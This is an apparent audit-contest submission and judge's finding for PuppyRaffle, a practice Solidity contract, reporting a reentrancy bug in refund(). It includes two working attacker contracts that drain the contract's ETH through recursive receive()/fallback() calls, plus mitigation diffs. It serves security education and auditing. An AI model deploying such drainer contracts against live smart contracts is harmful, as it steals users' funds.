Puppy Raffle
AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Reentrancy Attack in refund() Function Allows Complete Drainage of Contract Funds

vikramgoutham289

Root + Impact

Root Cause: External ETH transfer occurs before state variable update in refund() function, violating the Checks-Effects-Interactions pattern.

Impact: Attacker can recursively call refund() through a malicious contract's receive() function, draining all ETH from the contract before players[playerIndex] is set to address(0).

Description

Normal Behavior: When a player calls refund(), they should receive back their entrance fee and their slot in the players array should be set to address(0) to mark them as refunded.

Issue: The refund() function sends ETH to the caller before updating the contract state (setting the player's address to address(0)). This violates the Checks-Effects-Interactions (CEI) pattern and creates a classic reentrancy vulnerability. An attacker can recursively call refund() through a malicious contract's receive() or fallback() function before the state is updated.
function refund(uint256 playerIndex) public {
address playerAddress = players[playerIndex];
require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
​
// @> External call happens BEFORE state update - Reentrancy vulnerability!
payable(msg.sender).sendValue(entranceFee);
​
// @> State update happens AFTER external call
players[playerIndex] = address(0);
emit RaffleRefunded(playerAddress);
}

Risk

Likelihood:HIGH

  • Reason 1 :This vulnerability is exploitable whenever there are funds in the contract and the attacker has entered the raffle

  • Reason 2:Attacker only needs to deploy a simple malicious contract and enter the raffle once

Impact:HIGH

  • Impact 1:Complete drainage of all ETH held in the contract

  • Impact 2:Loss of all entrance fees paid by legitimate participants

Proof of Concept

Reentrancy attacks exploit the order of operations in smart contracts. When a contract sends ETH using call, send, or transfer, the recipient contract's receive() or fallback() function is triggered. If the sending contract hasn't updated its state yet, the recipient can call back into the vulnerable function and repeat the withdrawal process multiple times within a single transaction.

​
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
​
import {PuppyRaffle} from "./PuppyRaffle.sol";
​
contract ReentrancyAttacker {
PuppyRaffle public puppyRaffle;
uint256 public attackerIndex;
uint256 public entranceFee;
​
constructor(address _puppyRaffle) {
puppyRaffle = PuppyRaffle(_puppyRaffle);
entranceFee = puppyRaffle.entranceFee();
}
​
function attack() external payable {
// Step 1: Enter the raffle
address[] memory players = new address[](1);
players[0] = address(this);
puppyRaffle.enterRaffle{value: entranceFee}(players);
// Step 2: Get our index
attackerIndex = puppyRaffle.getActivePlayerIndex(address(this));
// Step 3: Initiate the attack by calling refund
puppyRaffle.refund(attackerIndex);
}
​
// This function is called when the contract receives ETH
receive() external payable {
// Keep calling refund as long as there's enough balance
if (address(puppyRaffle).balance >= entranceFee) {
puppyRaffle.refund(attackerIndex);
}
}
​
function withdraw() external {
payable(msg.sender).transfer(address(this).balance);
}
}

Recommended Mitigation

The fix involves following the Checks-Effects-Interactions (CEI) pattern, which dictates:

Checks: Validate all conditions first
Effects: Update all state variables
Interactions: Make external calls last
+ import {ReentrancyGuard} from "@openzeppelin/contracts/security/ReentrancyGuard.sol";
​
- contract PuppyRaffle is ERC721, Ownable {
+ contract PuppyRaffle is ERC721, Ownable, ReentrancyGuard {
​
- function refund(uint256 playerIndex) public {
+ function refund(uint256 playerIndex) public nonReentrant {
address playerAddress = players[playerIndex];
require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
​
+ // Effects: Update state BEFORE external call
+ players[playerIndex] = address(0);
+ emit RaffleRefunded(playerAddress);
​
+ // Interactions: External call AFTER state update
payable(msg.sender).sendValue(entranceFee);
​
- players[playerIndex] = address(0);
- emit RaffleRefunded(playerAddress);
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge 6 days ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-02] Reentrancy Vulnerability In refund() function

## Description The `PuppyRaffle::refund()` function doesn't have any mechanism to prevent a reentrancy attack and doesn't follow the Check-effects-interactions pattern ## Vulnerability Details ```javascript function refund(uint256 playerIndex) public { address playerAddress = players[playerIndex]; require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund"); require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active"); payable(msg.sender).sendValue(entranceFee); players[playerIndex] = address(0); emit RaffleRefunded(playerAddress); } ``` In the provided PuppyRaffle contract is potentially vulnerable to reentrancy attacks. This is because it first sends Ether to msg.sender and then updates the state of the contract.a malicious contract could re-enter the refund function before the state is updated. ## Impact If exploited, this vulnerability could allow a malicious contract to drain Ether from the PuppyRaffle contract, leading to loss of funds for the contract and its users. ```javascript PuppyRaffle.players (src/PuppyRaffle.sol#23) can be used in cross function reentrancies: - PuppyRaffle.enterRaffle(address[]) (src/PuppyRaffle.sol#79-92) - PuppyRaffle.getActivePlayerIndex(address) (src/PuppyRaffle.sol#110-117) - PuppyRaffle.players (src/PuppyRaffle.sol#23) - PuppyRaffle.refund(uint256) (src/PuppyRaffle.sol#96-105) - PuppyRaffle.selectWinner() (src/PuppyRaffle.sol#125-154) ``` ## POC <details> ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.7.6; import "./PuppyRaffle.sol"; contract AttackContract { PuppyRaffle public puppyRaffle; uint256 public receivedEther; constructor(PuppyRaffle _puppyRaffle) { puppyRaffle = _puppyRaffle; } function attack() public payable { require(msg.value > 0); // Create a dynamic array and push the sender's address address[] memory players = new address[](1); players[0] = address(this); puppyRaffle.enterRaffle{value: msg.value}(players); } fallback() external payable { if (address(puppyRaffle).balance >= msg.value) { receivedEther += msg.value; // Find the index of the sender's address uint256 playerIndex = puppyRaffle.getActivePlayerIndex(address(this)); if (playerIndex > 0) { // Refund the sender if they are in the raffle puppyRaffle.refund(playerIndex); } } } } ``` we create a malicious contract (AttackContract) that enters the raffle and then uses its fallback function to repeatedly call refund before the PuppyRaffle contract has a chance to update its state. </details> ## Recommendations To mitigate the reentrancy vulnerability, you should follow the Checks-Effects-Interactions pattern. This pattern suggests that you should make any state changes before calling external contracts or sending Ether. Here's how you can modify the refund function: ```javascript function refund(uint256 playerIndex) public { address playerAddress = players[playerIndex]; require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund"); require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active"); // Update the state before sending Ether players[playerIndex] = address(0); emit RaffleRefunded(playerAddress); // Now it's safe to send Ether (bool success, ) = payable(msg.sender).call{value: entranceFee}(""); require(success, "PuppyRaffle: Failed to refund"); } ``` This way, even if the msg.sender is a malicious contract that tries to re-enter the refund function, it will fail the require check because the player's address has already been set to address(0).Also we changed the event is emitted before the external call, and the external call is the last step in the function. This mitigates the risk of a reentrancy attack.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!